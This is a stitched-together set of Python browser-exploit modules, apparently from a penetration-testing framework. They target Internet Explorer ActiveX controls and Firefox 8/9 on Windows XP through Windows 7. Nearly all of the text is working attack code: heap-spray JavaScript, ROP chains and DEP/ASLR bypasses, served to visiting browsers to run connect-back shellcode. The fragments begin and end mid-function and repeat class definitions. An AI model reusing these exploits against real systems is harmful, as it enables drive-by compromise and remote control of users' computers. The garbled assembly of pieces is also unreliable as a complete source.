#023F4855 33C0 XOR EAX,EAX #$023F4857 66:B8 0109 MOV AX,0901 #023F485B 03F0 ADD ESI,EAX #023F485D FFE6 JMP ESI filedata = """ <html> To view the report, please enable the Crystal Reports control in the bar above.<br> <object id='target' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object> <script> ret=''; for( counter=0; counter<=260; counter++) ret+=unescape('%u0101%u0101'); ret+=unescape('%u1eae%u3f14') + unescape('%uc033%ub866') + unescape('%u0901%uf003') + unescape('%ue6ff%u9090'); target.ServerResourceVersion = ret; target.URL="OURURL"; target.CancelPrinting(); </script> <br><a href=javascript:window.close();>Close this report</a> </html> """ filedata = filedata.replace( 'OURURL', ourhost + "/" + self.filename.replace('.html', '.dll')) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') ourhost = "http://" + clientheader.getStrValue(['Host']) data = self.makefile(ourhost) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): self.log('WP> Serving shellcode buffer') data = "\x90" * 2000 + self.shellcode if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): filedata = self.makefile('') outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % outputfile) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS = ["IE Inject Connect Back", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.filename2 = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self, browser, osversion): if osversion == "Windows XP": if browser == "MSIE 7.0": self.log('WP> Serving Windows XP IE7 exploit') return self.makefileIE7_XP() self.log('WP> Invalid target') return def makefileIE7_XP(self): payload = "\x8B\xE0" # MOV ESP,EAX payload += "\x83\xC4\x05" # ADD ESP,05 payload += self.shellcode payload += wp_randomstring((5120 - len(payload))) filedata = """<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") #script code script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE', wp_urluencode(payload)) script = script.replace('NOPS', wp_urluencode(pack('<L', 0x0c0c0c0c))) #Obfuscate the script code (disabled for this exploit) self.isClientD = False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += self.maketrigger() return filedata def maketrigger(self): filedata = """</script> <body> <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='target'></object> <script> target.StopModule(%s); </script> </body> </html> """ % ((0x0c0c0c0c / 0x134)) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): self.log('WP> This module must be run via HTTPSERVER') return 0
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.badstring = "\x00\x09\x0b\x0c\x0d\x0e\x0f\x20\x3e\x7a\xfc\xff" #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): # Make the exploit file depBp = ( "\xB7\x29\x05\x5C" "\x80\xF1\xFE\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" "\xF7\xF8\x07\x5C\xFF\xAE\x06\x5C\xB7\x29\x05\x5C\x56\x69\x72\x74" "\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x74\x30\x08\x5C" "\xB7\x29\x05\x5C\x75\x61\x6C\x41\x11\x11\x11\x11\x11\x11\x11\x11" "\x11\x11\x11\x11\x48\x65\x06\x5C\xB7\x29\x05\x5C\x6C\x6C\x6F\x63" "\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xBB\x01\x08\x5C" "\xBF\xA1\x02\x5C\xBE\x01\x08\x5C\xB7\x29\x05\x5C\x38\xEA\x11\x5C" "\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x27\xF6\x07\x5C" "\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" "\x11\x11\x11\x11\xB7\x29\x05\x5C\x80\xF1\xFE\xFF\x11\x11\x11\x11" "\x11\x11\x11\x11\x11\x11\x11\x11\xF7\xF8\x07\x5C\xFF\xAE\x06\x5C" "\xB7\x29\x05\x5C\x07\xE1\xFA\x4A\x11\x11\x11\x11\x11\x11\x11\x11" "\x11\x11\x11\x11\x1A\x5A\x07\x5C\x11\x11\x11\x11\xC4\x36\x06\x5C" "\x2E\xD5\x07\x5C\x90\x90\x90\x90\x90\x90\x90\x90\x7D\xD5\x02\x5C" "\x47\x42\x05\x5C\xDA\x49\x02\x5C\xB7\x29\x05\x5C\x8D\x06\x04\x5C" "\x11\x11\x11\x11\x16\xF0\x07\x5C\x11\x11\x11\x11\x64\xA7\x06\x5C" "\x16\xF0\x07\x5C\x16\xF0\x07\x5C\x16\xF0\x07\x5C\x16\xF0\x07\x5C" "\x82\x92\x02\x5C\x16\xF0\x07\x5C\x74\x30\x08\x5C\xB7\x29\x05\x5C" "\xFF\xEF\xFF\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" "\xF7\xF8\x07\x5C\x9E\x7E\x02\x5C\xB8\x01\x08\x5C\xB7\x29\x05\x5C" "\xC0\xFF\xFF\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" "\xF7\xF8\x07\x5C\xBE\x01\x08\x5C\x56\x5B\x06\x5C\x11\x11\x11\x11" "\x11\x11\x11\x11\x11\x11\x11\x11\xC1\x01\x08\x5C\xC1\x01\x08\x5C" "\x2E\x4B\x07\x5C\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22" "\x22\x22\x22\x22\x11\x11\x11\x11\x11\x11\x11\x11\xC8\xC1\x06\x5C" "\x5F\x6E\x07\x5C\xA5\x66\x06\x5C\x22\x22\x22\x22\x11\x11\x11\x11") searchcode = wp_SearchCode(True) depSc = 'c00kc00k' depSc += depBp depSc += self.shellcode depSc += "11" * 100 payload = pack('<L', 0x5C0735C9) * 10 # ret payload += depBp payload += searchcode payload += "C" * (56 - len(searchcode)) payload += pack('<L', 0x5C054CB2) # add esp,420 payload += "A" * 140 payload += "B" * 100 payload += "C" * 100 payload += "D" * 100 payload += "E" * 100 payload += "F" * 100 #Base filedata filedata = """<html><body> <object classid="clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c" id="iprint"> <param name=operation value=op-client-interface-version> <param name=result-type value=url> <param name=call-back-url value=PAYLOAD> <param name=call-url value=SHELLCODE> </body> </html> """ filedata = filedata.replace('PAYLOAD', payload) filedata = filedata.replace('SHELLCODE', depSc) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s for output" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS = ["IE Inject Connect Back"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.alignstack = True self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = "\x00\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "Firefox/9" in info_dict['user_agent']: self.log("WP> Target has Firefox/9") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 elif "Firefox/8" in info_dict['user_agent']: self.log("WP> Target has Firefox/8") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile2003(self): sprayaddr = pack('<L', 0x0C101C0C) # spray addr sprayaddr += pack('<L', 0x77BABF55) # pop - XP depSc = pack('<L', 0x77BCB802) depSc += self.wp_UniversalDEPBypassWin2k3_VP( (len(self.shellcode) + 16)) depSc += self.shellcode depSc += wp_randomstring(2432 - len(depSc)) filedata = """<html> <head> <script> var shellcode = unescape("PAYLOAD"); var targetsize = 0x40000; var offset_length = 0x606; for (var i=0; i < 0x800; i++) { var randomnumber1=Math.floor(Math.random()*90)+10; var randomnumber2=Math.floor(Math.random()*90)+10; var randomnumber3=Math.floor(Math.random()*90)+10; var randomnumber4=Math.floor(Math.random()*90)+10; var paddingstr = "%u" + randomnumber1.toString() + randomnumber2.toString(); paddingstr += "%u" + randomnumber3.toString() + randomnumber4.toString(); var padding = unescape(paddingstr); while (padding.length < 0x1000) padding+= padding; junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + shellcode; single_sprayblock += padding.substring(0,0x800 - offset_length - shellcode.length); while (single_sprayblock.length < targetsize) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (targetsize-6)/2); varname = "var" + randomnumber1.toString() + randomnumber2.toString(); varname += randomnumber3.toString() + randomnumber4.toString(); thisvarname = "var " + varname + "= '" + sprayblock +"';"; eval(thisvarname); } function run() { var attr = document.createAttribute("foo"); attr.value = "bar"; var ni = document.createNodeIterator( attr, NodeFilter.SHOW_ALL, {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }} ,false); ni.nextNode(); ni.nextNode(); ni.previousNode(); attr.value = null; const addr = unescape("RANDPAD"); var container = new Array(); var small = unescape("SPRAYADDR"); while (small.length != 30) small += addr; for (i = 0; i < 1024*1024*2; ++i) container.push(unescape(small)); ni.referenceNode; } </script> </head> <body onload="run();"> </body> </html> """ filedata = filedata.replace('PAYLOAD', wp_urluencode(depSc)) filedata = filedata.replace('SPRAYADDR', wp_urluencode(sprayaddr)) filedata = filedata.replace('RANDPAD', wp_urluencode(wp_randomstring(4))) return filedata def makefileXP(self): sprayaddr = pack('<L', 0x0C101C0C) sprayaddr += pack('<L', 0x77C1BB36) # pop - XP depSc = pack('<L', 0x77C3A634) depSc += self.wp_UniversalDEPBypassWinXP_VP((len(self.shellcode) + 8)) depSc += self.shellcode depSc += wp_randomstring(2432 - len(depSc)) filedata = """<html> <head> <script> var shellcode = unescape("PAYLOAD"); var targetsize = 0x40000; var offset_length = 0x606; for (var i=0; i < 0x800; i++) { var randomnumber1=Math.floor(Math.random()*90)+10; var randomnumber2=Math.floor(Math.random()*90)+10; var randomnumber3=Math.floor(Math.random()*90)+10; var randomnumber4=Math.floor(Math.random()*90)+10; var paddingstr = "%u" + randomnumber1.toString() + randomnumber2.toString(); paddingstr += "%u" + randomnumber3.toString() + randomnumber4.toString(); var padding = unescape(paddingstr); while (padding.length < 0x1000) padding+= padding; junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + shellcode; single_sprayblock += padding.substring(0,0x800 - offset_length - shellcode.length); while (single_sprayblock.length < targetsize) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (targetsize-6)/2); varname = "var" + randomnumber1.toString() + randomnumber2.toString(); varname += randomnumber3.toString() + randomnumber4.toString(); thisvarname = "var " + varname + "= '" + sprayblock +"';"; eval(thisvarname); } function run() { var attr = document.createAttribute("foo"); attr.value = "bar"; var ni = document.createNodeIterator( attr, NodeFilter.SHOW_ALL, {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }} ,false); ni.nextNode(); ni.nextNode(); ni.previousNode(); attr.value = null; const addr = unescape("RANDPAD"); var container = new Array(); var small = unescape("SPRAYADDR"); while (small.length != 30) small += addr; for (i = 0; i < 1024*1024*2; ++i) container.push(unescape(small)); ni.referenceNode; } </script> </head> <body onload="run();"> </body> </html> """ filedata = filedata.replace('PAYLOAD', wp_urluencode(depSc)) filedata = filedata.replace('SPRAYADDR', wp_urluencode(sprayaddr)) filedata = filedata.replace('RANDPAD', wp_urluencode(wp_randomstring(4))) return filedata def makefile(self, browser, osversion): if osversion == "Windows 2003": self.log('WP> Serving Windows 2003 Exploit') return self.makefile2003() # Default to XP self.log('WP> Serving Windows XP Exploit') return self.makefileXP() def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') self.log('WP> User agent of connecting host: %s' % user_agent) if not 'Firefox/9' in browser: if not 'Firefox/8' in browser: self.log('WP> Target browser invalid') return 0 if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '' # Shellcode is on heap or in dll #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.vProtect = True self.pc = 0x44444444 def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def heapSpray(self, payload, heapspraycode): # This creates a heapspray of blocks that are 0x240000 (0x23f000 on Win7) in size # almost gauruntees that our spray block sits at 0xxxxx1000 or other 100 byte boundary heapprefix = wp_randomstring(220) # padding to 0x100 bytes script = """ memory = new Array(); var hs = unescape("HEAPSPRAYCODE"); while(hs.length < 0x11F600) hs += hs; hs = hs.substring(0, 0x11F600-DATALENGTH); hs = unescape("PREFIX") + hs + unescape("PAYLOAD"); try{ for(var i = 0; i < 400; i++) { memory[i]= hs.substring(0,hs.length); } } catch(err) {} """ script = script.replace('DATALENGTH', str((0x100 + len(payload)) / 2)) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('PREFIX', wp_urluencode(heapprefix)) script = script.replace('PAYLOAD', wp_urluencode(payload)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") return self.jsObfuscator.obfuscate(script) else: return script def makeTriggerIE8(self): filedata = """ mem = new Array(); var ptr = unescape("%u1414%u1414"); while(ptr.length < #SIZE#) { ptr += ptr; } ptr = ptr.slice(0, (#SIZE#)/2); for(var i = 0; i < 0x3000; i++) { mem[i]= ptr.substring(0,ptr.length);} for(var xi = 0; xi < 5; xi++) {document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>AAAAA</object>";} for(var i = 0; i < 0x3000; i++) {mem[i+0x3000]= ptr.substring(0,ptr.length); } document.body.innerHTML += "<a id='AAAAA' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >AAAAA</a>"; document.body.innerHTML += "Please wait for the page to load."; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>111_AA</strong>"; </SCRIPT> </body> </html> """ filedata = filedata.replace("#SIZE#", "0xDA") return filedata def makefileIE8_VistaWin7(self, stage): # Exploit for IE 8 Windows 7/Vista # This page loads java and uses sayonara if stage == 1: # Load Java filedata = """ <object alt="Verify JRE Applet 2" classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" width="1" height="1"> <param name="type" value="application/x-java-applet" /> <param name="codebase" value="/jsp_utils/" /> <param name="code" value="jreVerify.class" /> <param name="jumpto" value="/en/download/installed.jsp?" /> <param name="pause" value="5000" /> </object> <script>document.location="/PAGE2"</script> """ filedata = filedata.replace( 'PAGE2', self.filename.replace('.html', '.2.html')) return filedata elif stage == 2: landingAddress = 0x14141414 heapspraycode = pack('<L', 0x7C341AF9) # RETN heapspraycode += pack('<L', 0x7C341AF9) * 5 # RETN heapspraycode += pack('<L', 0x7C341AF9) # RETN heapspraycode += pack('<L', 0x7C341A14) * 26 # RETN 4 heapspraycode += pack('<L', 0x7C34E7BA) # Stack/Heap Flip while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x7C341AF9) # RETN # depbypass using sayonara depbypass = self.wp_sayonaraASLRDEPBypass( (len(self.shellcode) + 104)) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload) % 256)) filedata = """ <html> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger filedata += self.makeTriggerIE8() return filedata def makeTriggerIE7(self, amount="0x3000"): filedata = """ mem = new Array(); var ptr = unescape("%u1414%u1414"); while(ptr.length < #SIZE2#) { ptr += ptr; } ptr2 = ptr.slice(0, (#SIZE2#/2)); ptr = ptr.slice(0, (#SIZE#/2)); for(var i = 0; i < #AMOUNT#; i++) {mem[i]= ptr.substring(0,ptr.length); } for(var xi = 0; xi < 5; xi++) {document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>AAAAA</object>";} for(var i = 0; i < 0x5000; i++) {mem[i+0x1000]= ptr2.substring(0,ptr2.length); } document.body.innerHTML += "<a id='AAAAA' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >AAAAA</a>"; document.body.innerHTML += "Please wait for the page to load."; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>111_AA</strong>"; </SCRIPT> </body> </html> """ filedata = filedata.replace("#SIZE#", "0xa8") filedata = filedata.replace("#SIZE2#", "0x112") filedata = filedata.replace("#AMOUNT#", amount) return filedata def makefileIE7(self, stage): # Exploit for Windows Vista IE 7 # .Net DLL ASLR/DEP Bypass if stage == 1: filedata = """ <html> <object classid="OURDLL#a.b" height="1" width="1"></object> <script>document.location="/PAGE2"</script> </html> """ #" filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) filedata = filedata.replace( 'PAGE2', self.filename.replace('.html', '.2.html')) return filedata elif stage == 2: landingAddress = 0x14141414 heapspraycode = pack('<L', landingAddress) # ptr heapspraycode += pack('<L', landingAddress) # ptr heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code heapspraycode += pack('<L', self.pc) # Return to .Net DLL code while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', self.pc) # JUNK # Set the payload, payload is inside the loaded dll file payload = "" filedata = """ <html> <title>Loading</title> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger filedata += self.makeTriggerIE7() return filedata def makefileWinXP(self, browser): # Exploit for Windows XP (DEP Bypass) landingAddress = 0x14141414 if browser == "MSIE 8.0": heapspraycode = pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C21A57) * 5 # RETN heapspraycode += pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C214DF) * 26 # RETN 4 heapspraycode += pack('<L', 0x77C15ED5) # Stack/Heap Flip (EAX->ESP) while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77C21A57) # RETN else: heapspraycode = pack('<L', 0x77C214DF) # RETN 4 heapspraycode += pack('<L', 0x77C21A57) # RETN heapspraycode += pack('<L', 0x77C15ED5) # Stack/Heap Flip (EAX->ESP) while len(heapspraycode) < ( 0x100): # Build out to 0x100 byte blocks heapspraycode += pack('<L', 0x77C21A57) # RETN # dep bypass depbypass = self.wp_UniversalDEPBypassWinXP_VP(len(self.shellcode) + 8) # Set the payload payload = depbypass + wp_randomnops(4) + self.shellcode + ("\x00" * 100) #pad the payload out to 0x100 bytes payload += wp_randomstring(256 - (len(payload) % 256)) filedata = """ <html> <body> <script language="JavaScript"> """ # script main heapspray code filedata += self.heapSpray(payload, heapspraycode) # Add the reset of the exploit trigger if browser == "MSIE 8.0": filedata += self.makeTriggerIE8() else: filedata += self.makeTriggerIE7("2500") return filedata def makefile(self, browser, osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP(browser) if browser == "MSIE 9.0": #self.log('WP> Serving MSIE 9.0 exploit') #return self.makefileIE8_VistaWin7(1) return "" if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7(1) if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7(1) # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP(browser) def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) #self.log('WP> Cookies of connecting host: %s' % cookies) if clientheader.URL.count(self.filename): if cookies.count("SessionID"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" else: self.log('WP> Serving exploit html file') data = self.makefile(browser, osversion) b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): p = PElib() if browser == "MSIE 7.0": self.log('WP> Serving 